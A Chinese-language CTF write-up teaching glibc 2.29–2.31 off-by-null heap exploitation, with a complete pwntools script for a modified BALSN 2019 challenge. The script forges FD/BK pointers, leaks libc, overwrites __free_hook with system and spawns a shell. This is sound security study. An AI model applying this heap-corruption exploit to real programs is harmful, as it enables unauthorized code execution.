2.27 之前的 off by null 的利用手法总体来说比较简单伪造一个 presize 即可,但是在 glibc 2.29的更新当中,unlink 里加入的 presize check 使得之前的利用手法不再有效,并且 off by null 的难度提高不少。
/* consolidate backward */ if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating"); unlink_chunk (av, p); }
在向低地址合并的时候会检测 presize 是否等于前一个 chunk 的 size 位。2.29 之前的双链表结构的检查我们是借助 unsorted bin 来完成的,然后伪造一个 presize 。而 2.29 我们不仅要伪造 presize ,同时也要伪造 FD 和 BK 。伪造出来的 FD 和 BK 要满足以下条件:
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV);
总的来说就是要我们伪造出来的堆块满足两个条件:
1、presize = fake_chunk size
2、fd->bk = fake_chunk , bk->fd = fake_chunk
我们利用largebin 残留的 fd_nextsize , bk_nextsize 和 smallbin 残留的 bk 指针,以及 fastbin 的 fd 指针来伪造 FD 和 BK。
具体实例我们用一道题来讲解 2019-BALSN-CTF-plaintext
原本他是一道 2.29 的 off by null 加 orw 题,由于这里主要讲 off by null 我就从一个师傅的博客上找到了他魔改后的题目。(由于这个off by null 的方法一直持续到2.31,故我就用的是我本机 2.31 的libc,且为了调试方便我关闭了本机 aslr )
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./note') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size,content): s.recvuntil(b'Choice: ') s.sendline(b'1') s.recvuntil(b'size: ') s.sendline(str(size)) s.recvuntil(b'content: ') s.send(content) def delete(index): s.recvuntil(b'Choice: ') s.sendline(b'2') s.recvuntil(b'idx: ') s.sendline(str(index)) def show(index): s.recvuntil(b'Choice: ') s.sendline(b'3') s.recvuntil(b'idx: ') s.sendline(str(index)) for i in range(6): add(0x1000 ,b'a') # 0-5 add(0x1000 - 0x440 ,b'a') # 6 make the second byte of largebin's address is \x00 to avoid the influence of \x00 for i in range(7): add(0x28 ,b't') # 7-13 # counterfeit fake_chunk add(0xb20 ,b'large') #14 chunk head address is 0x......0010 add(0x10 ,b'a') #15 delete(14) add(0x1000 ,b'a') # make old chunk 14 to large bin add(0x28 ,p64(0) + p64(0x521) + p8(0x40)) # 16 # make fake_chunk's fd->bk = fake_chunk add(0x28 ,b'a') # 17 add(0x28 ,b'a') # 18 add(0x28 ,b'a') # 19 add(0x28 ,b'a') # 20 for i in range(7): delete(7+i) # full tcache delete(19) delete(17) for i in range(7): add(0x28 ,b't') # 7-13 add(0x400 ,b'b') # 17 make fast bin to small bin add(0x28 , p64(0) + p8(0x20)) # 19 get a chunk from small bin , and the another bin will be thrown into tcache, successfully make fake_chunk's fd->bk = fake_chunk # make fake_chunk's bk->fd = fake_chunk add(0x28 ,b'clean') # 21 clean tcache for i in range(7): delete(7+i) delete(18) delete(16) for i in range(7): add(0x28 ,b't') # 7-13 add(0x28 ,p8(0x20)) #16 write one byte to fastbin's fd to make fake_chunk's bk->fd = fake_chunk # off by null add(0x28 ,b'clean') # 18 clean tcache add(0x28 ,b'a') #22 add(0x5f8 ,b'a') #23 add(0x100 ,b'a') #24 delete(22) add(0x28 ,b'\x00'*0x20 + p64(0x520)) # 22 delete(23) # leak libc and attak add(0x40 ,b'a') # 23 show(18) libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook'] success('libc_base=>' + hex(libc_base)) __free_hook = libc_base + libc.sym['__free_hook'] system_addr = libc_base + libc.sym['system'] delete(20) delete(21) add(0x50 ,b'a'*0x20 + p64(0) + p64(0x31) + p64(__free_hook)) add(0x28 ,'/bin/sh\x00') add(0x28 ,p64(system_addr)) delete(21) #gdb.attach(s) s.interactive()
附件
提取码:uepc
参考链接
https://bbs.pediy.com/thread-257901-1.htm#msg_header_h2_3
https://www.anquanke.com/post/id/236078